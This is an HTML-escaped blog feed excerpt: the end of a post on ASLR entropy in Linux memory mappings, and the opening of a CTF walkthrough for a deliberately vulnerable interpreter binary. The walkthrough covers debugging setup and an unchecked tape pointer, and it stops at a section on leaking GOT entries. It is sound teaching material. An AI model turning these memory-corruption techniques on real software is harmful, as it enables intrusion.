&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  ---p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  ---p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  ---p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  ---p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p mapped
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  ---p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  ---p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p mapped
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r-xp &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p mapped
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p mapped
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  r--p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111****************************000000000000 -&amp;gt; 000000000000000001111111****************************000000000000  rw-p mapped
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 28, 28 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111111111**********************000000000000 -&amp;gt; 000000000000000001111111111111**********************000000000000  rw-p [stack]
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 22, 22 bits
&lt;&#x2F;span&gt;&lt;span&gt;000000000000000001111111111111*************1********000000000000 -&amp;gt; 000000000000000001111111111111*************1********000000000000  r-xp [vdso]
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 21, 21 bits
&lt;&#x2F;span&gt;&lt;span&gt;1111111111111111111111111111111111111111011000000000000000000000 -&amp;gt; 1111111111111111111111111111111111111111011000000001000000000000  r-xp [vsyscall]
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 0, 0 bits
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Notice how the locations of sections from &lt;code&gt;&#x2F;bin&#x2F;ls&lt;&#x2F;code&gt; and &lt;code&gt;[vsyscall]&lt;&#x2F;code&gt; are not randomized at all. Also, at best, the other sections only have 28 bits of entropy, but the heap only has 14 bits of entropy.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CTF Writeup: Brain Repl</title>
        <published>2016-04-28T00:00:00+00:00</published>
        <updated>2016-04-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/brain-repl-writeup/"/>
        <id>https://travisf.net/blog/brain-repl-writeup/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/brain-repl-writeup/">&lt;p&gt;This is a writeup&#x2F;walkthrough for a binary exploitation challenge I wrote for a CTF competition at the University of Michigan that was hosted by &lt;a href=&quot;https:&#x2F;&#x2F;www.facebook.com&#x2F;notes&#x2F;protect-the-graph&#x2F;facebook-capture-the-flag&#x2F;1466163253623821&#x2F;&quot;&gt;Facebook&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This article assumes that you are familiar with &lt;a href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;gdb&#x2F;&quot;&gt;GDB&lt;&#x2F;a&gt; and basic binary exploitation techniques such as &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Return-to-libc_attack&quot;&gt;return to libc attacks&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You can download the
&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;brain-repl-ctf-problem&quot;&gt;problem and solution from GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;&#x2F;strong&gt;
When this blog was originally written, pwntools was the preferred fork of pwntools, but has since been merged into upstream pwntools.
The steps should be modified to use &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Gallopsled&#x2F;pwntools&quot;&gt;pwntools&lt;&#x2F;a&gt; instead of pwntools.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;setup&quot;&gt;Setup&lt;a class=&quot;zola-anchor&quot; href=&quot;#setup&quot; aria-label=&quot;Anchor link for: setup&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Download the contents of &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;brain-repl-ctf-problem&quot;&gt;brain-repl GitHub repo&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Install the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;longld&#x2F;peda&quot;&gt;Python Exploit Development Assistance for GDB (PEDA)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Install &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Gallopsled&#x2F;pwntools&quot;&gt;pwntools&lt;&#x2F;a&gt;, a CTF&#x2F;exploit development framework&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;analysis&quot;&gt;Analysis&lt;a class=&quot;zola-anchor&quot; href=&quot;#analysis&quot; aria-label=&quot;Anchor link for: analysis&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The repo contains the following files:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;brain-repl-ctf-problem&#x2F;&lt;&#x2F;code&gt;: folder with distributed challenge
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;brain-repl&lt;&#x2F;code&gt;: binary to exploit&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;brain-repl.c&lt;&#x2F;code&gt;: source code for binary&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Makefile&lt;&#x2F;code&gt;: Makefile that was used to build &lt;code&gt;brain-repl&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;run_brain_repl.sh&lt;&#x2F;code&gt;: script to run brain-repl as a server process&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;flag.txt&lt;&#x2F;code&gt;: sample flag that we want to read&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;debug_brain_repl.sh&lt;&#x2F;code&gt;: script to run binary as server process w&#x2F; or w&#x2F;o GDB&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;gdb_cmds.gdb&lt;&#x2F;code&gt;: GDB commands that are run by &lt;code&gt;debug_brain_repl.sh&lt;&#x2F;code&gt; at startup&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;solve_brain_repl.py&lt;&#x2F;code&gt;: my solution script&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The &lt;code&gt;brain-repl&lt;&#x2F;code&gt; binary is meant to be run with socat so that it listens on port 2600. We can see from the Makefile that &lt;code&gt;brain-repl&lt;&#x2F;code&gt; is compiled with the security flags &lt;code&gt;-fstack-protector -fPIE -fPIC -pie -Wl,-pie&lt;&#x2F;code&gt;, which enables &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Stack_buffer_overflow#Stack_canaries&quot;&gt;stack canaries&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Position-independent_code&quot;&gt;position-independent execution&lt;&#x2F;a&gt; (thus enabling &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Address_space_layout_randomization&quot;&gt;ASLR&lt;&#x2F;a&gt;). We do not want to accidentally overwrite the binary, so we should either rename or delete the &lt;code&gt;Makefile&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ mv Makefile _Makefile
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can now get to analyzing the binary. The first thing I do when I get a binary is run &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;File_%28command%29&quot;&gt;file&lt;&#x2F;a&gt; and &lt;a href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;ldd.1.html&quot;&gt;ldd&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ file brain-repl
&lt;&#x2F;span&gt;&lt;span&gt;brain-repl: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU&#x2F;Linux 2.6.24, BuildID[sha1]=94d00b325686bbd4d5ba727a01776e3a6e874aba, not stripped
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;$ ldd brain-repl
&lt;&#x2F;span&gt;&lt;span&gt;	linux-gate.so.1 =&amp;gt;  (0xf7722000)
&lt;&#x2F;span&gt;&lt;span&gt;	libc.so.6 =&amp;gt; &#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc.so.6 (0xf753e000)
&lt;&#x2F;span&gt;&lt;span&gt;	&#x2F;lib&#x2F;ld-linux.so.2 (0xf7723000)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see that the binary is a 32-bit x86 Linux binary which is dynamically linked and not stripped. Because we are &quot;pretending&quot; as if we are accessing the binary remotely, we are assuming we do not have access to the &lt;code&gt;libc.so&lt;&#x2F;code&gt; library that is being used on the hosting server. To get more information on the binary, we can run &lt;a href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;binutils&#x2F;readelf.html&quot;&gt;readelf&lt;&#x2F;a&gt; to get information on the relocation sections:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ readelf -r brain-repl
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Relocation section &amp;#39;.rel.dyn&amp;#39; at offset 0x444 contains 9 entries:
&lt;&#x2F;span&gt;&lt;span&gt; Offset     Info    Type            Sym.Value  Sym. Name
&lt;&#x2F;span&gt;&lt;span&gt;00001ef4  00000008 R_386_RELATIVE
&lt;&#x2F;span&gt;&lt;span&gt;00001ef8  00000008 R_386_RELATIVE
&lt;&#x2F;span&gt;&lt;span&gt;00001ff4  00000008 R_386_RELATIVE
&lt;&#x2F;span&gt;&lt;span&gt;00002030  00000008 R_386_RELATIVE
&lt;&#x2F;span&gt;&lt;span&gt;00001fe8  00000206 R_386_GLOB_DAT    00000000   _ITM_deregisterTMClone
&lt;&#x2F;span&gt;&lt;span&gt;00001fec  00000306 R_386_GLOB_DAT    00000000   __cxa_finalize
&lt;&#x2F;span&gt;&lt;span&gt;00001ff0  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
&lt;&#x2F;span&gt;&lt;span&gt;00001ff8  00000906 R_386_GLOB_DAT    00000000   _Jv_RegisterClasses
&lt;&#x2F;span&gt;&lt;span&gt;00001ffc  00000b06 R_386_GLOB_DAT    00000000   _ITM_registerTMCloneTa
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Relocation section &amp;#39;.rel.plt&amp;#39; at offset 0x48c contains 8 entries:
&lt;&#x2F;span&gt;&lt;span&gt; Offset     Info    Type            Sym.Value  Sym. Name
&lt;&#x2F;span&gt;&lt;span&gt;0000200c  00000107 R_386_JUMP_SLOT   00000000   read
&lt;&#x2F;span&gt;&lt;span&gt;00002010  00000307 R_386_JUMP_SLOT   00000000   __cxa_finalize
&lt;&#x2F;span&gt;&lt;span&gt;00002014  00000407 R_386_JUMP_SLOT   00000000   __gmon_start__
&lt;&#x2F;span&gt;&lt;span&gt;00002018  00000507 R_386_JUMP_SLOT   00000000   exit
&lt;&#x2F;span&gt;&lt;span&gt;0000201c  00000607 R_386_JUMP_SLOT   00000000   open
&lt;&#x2F;span&gt;&lt;span&gt;00002020  00000707 R_386_JUMP_SLOT   00000000   __libc_start_main
&lt;&#x2F;span&gt;&lt;span&gt;00002024  00000807 R_386_JUMP_SLOT   00000000   write
&lt;&#x2F;span&gt;&lt;span&gt;00002028  00000a07 R_386_JUMP_SLOT   00000000   __dprintf_chk
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see that the program calls &lt;em&gt;read&lt;&#x2F;em&gt;, &lt;em&gt;open&lt;&#x2F;em&gt;, and &lt;em&gt;write&lt;&#x2F;em&gt;, among other functions.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;source-code&quot;&gt;Source code&lt;a class=&quot;zola-anchor&quot; href=&quot;#source-code&quot; aria-label=&quot;Anchor link for: source-code&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The file &lt;code&gt;brain-repl.c&lt;&#x2F;code&gt; has the source of the challenge. At the top of the program, we can see that there are global variables &lt;code&gt;tape&lt;&#x2F;code&gt;, &lt;code&gt;tape_ptr&lt;&#x2F;code&gt;, and &lt;code&gt;cmd&lt;&#x2F;code&gt;. The program opens &lt;code&gt;&#x2F;dev&#x2F;urandom&lt;&#x2F;code&gt; to write random bytes into the tape buffer, which is 100 bytes wide. The &lt;code&gt;main()&lt;&#x2F;code&gt; function calls &lt;code&gt;run_interpreter()&lt;&#x2F;code&gt;, which reads in commands in an infinite loop. The commands are handled in &lt;code&gt;handle_cmd()&lt;&#x2F;code&gt;. The following commands are available:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;: increment&#x2F;decrement tape_ptr&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;W&lt;&#x2F;code&gt;: write 4 bytes to tape_ptr&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;R&lt;&#x2F;code&gt;: read 4 bytes from tape_ptr&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;running-the-binary&quot;&gt;Running the binary&lt;a class=&quot;zola-anchor&quot; href=&quot;#running-the-binary&quot; aria-label=&quot;Anchor link for: running-the-binary&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now it&#x27;s time to run the binary as a socket server. Let&#x27;s use the &lt;code&gt;debug_brain_repl.sh&lt;&#x2F;code&gt; that you already downloaded. In one terminal, run the &lt;code&gt;brain-repl&lt;&#x2F;code&gt; binary:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ .&#x2F;debug_brain_repl.sh r brain-repl-ctf-problem&#x2F;brain-repl
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In another terminal, connect to the server process with &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Netcat&quot;&gt;netcat&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ nc localhost 2600
&lt;&#x2F;span&gt;&lt;span&gt;Welcome to the interpeter
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; R
&lt;&#x2F;span&gt;&lt;span&gt;ee277b74
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; W
&lt;&#x2F;span&gt;&lt;span&gt;AAAA
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; Q
&lt;&#x2F;span&gt;&lt;span&gt;41414141
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Invalid command!
&lt;&#x2F;span&gt;&lt;span&gt;bye
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We read in 4 random bytes, wrote for A&#x27;s into the buffer, and read back the result. Notice that the &lt;code&gt;W&lt;&#x2F;code&gt; command takes in the actual bytes, not the hex representation. We see four instances of 41 because the hexadecimal representation of an ASCII &#x27;A&#x27; is 0x41.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;running-the-binary-in-gdb&quot;&gt;Running the binary in GDB&lt;a class=&quot;zola-anchor&quot; href=&quot;#running-the-binary-in-gdb&quot; aria-label=&quot;Anchor link for: running-the-binary-in-gdb&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;To get useful run-time information, we can run the program in GDB. We &lt;em&gt;could&lt;&#x2F;em&gt; just run &lt;code&gt;gdb .&#x2F;brain-repl&lt;&#x2F;code&gt;, but then the binary would want to talk over stdin&#x2F;stdout. I prefer to debug the binary as it communicates over a socket to make it easier to test our exploit script (which will be communicating over sockets). Also, it&#x27;s convenient to have a separate terminal with netcat that communicates with the binary.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;debug_brain_repl.sh&lt;&#x2F;code&gt; script makes it easy to debug &lt;code&gt;brain-repl&lt;&#x2F;code&gt; in GDB after it is spawned by socat. The &lt;code&gt;gdb_cmds.gdb&lt;&#x2F;code&gt; file has commands that are initially run by GDB. We are running the socat binary under GDB, which &lt;a href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man2&#x2F;fork.2.html&quot;&gt;forks&lt;&#x2F;a&gt; a child process which in turn calls an &lt;a href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man3&#x2F;execl.3.html&quot;&gt;exec&lt;&#x2F;a&gt; function to replace its process context with &lt;code&gt;brain-repl&lt;&#x2F;code&gt;. The exec catchpoint causes GDB to pause the child &lt;code&gt;brain-repl&lt;&#x2F;code&gt; process. Once we hit the catchpoint in the &lt;code&gt;brain-repl&lt;&#x2F;code&gt; child process, we can set our breakpoints (such as main) and continue executing.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;set disable-randomization off
&lt;&#x2F;span&gt;&lt;span&gt;catch exec
&lt;&#x2F;span&gt;&lt;span&gt;r
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;# Hit exec catchpoint
&lt;&#x2F;span&gt;&lt;span&gt;# Set breakpoints
&lt;&#x2F;span&gt;&lt;span&gt;hbreak main
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;# Continue executing (until we hit a breakpoint)
&lt;&#x2F;span&gt;&lt;span&gt;c
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In one terminal, run GDB with:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ .&#x2F;debug_brain_repl.sh d brain-repl-ctf-problem&#x2F;brain-repl
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;GDB will be waiting for &lt;code&gt;brain-repl&lt;&#x2F;code&gt; to spawn (which happens after a connection is made).&lt;&#x2F;p&gt;
&lt;p&gt;In another terminal, connect to the debugged server process with:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ nc localhost 2600
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In your GDB terminal, you should see that a breakpoint in main is hit. From here, you can examine memory, registers, etc. easily.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;finding-the-vulnerability&quot;&gt;Finding the vulnerability&lt;a class=&quot;zola-anchor&quot; href=&quot;#finding-the-vulnerability&quot; aria-label=&quot;Anchor link for: finding-the-vulnerability&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We can see that there is no bounds checking when modifying &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; and we can read&#x2F;write arbitrary bytes to the tape pointer. This should allow us to do the simple attack where we overwrite the return address on the stack! However, there is a problem with this simple approach. The variables &lt;code&gt;tape&lt;&#x2F;code&gt; and &lt;code&gt;tape_ptr&lt;&#x2F;code&gt; are global variables, so instead of residing on the stack, they reside in a data section. Also, ASLR is enabled, so we cannot assume we know the address of stack variables. At this stage, we know we control &lt;code&gt;tape&lt;&#x2F;code&gt; and &lt;code&gt;tape_ptr&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;leaking-got-entries&quot;&gt;Leaking GOT entries&lt;a class=&quot;zola-anchor&quot; href=&quot;#leaking-got-entries&quot; aria-label=&quot;Anchor link for: leaking-got-entries&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
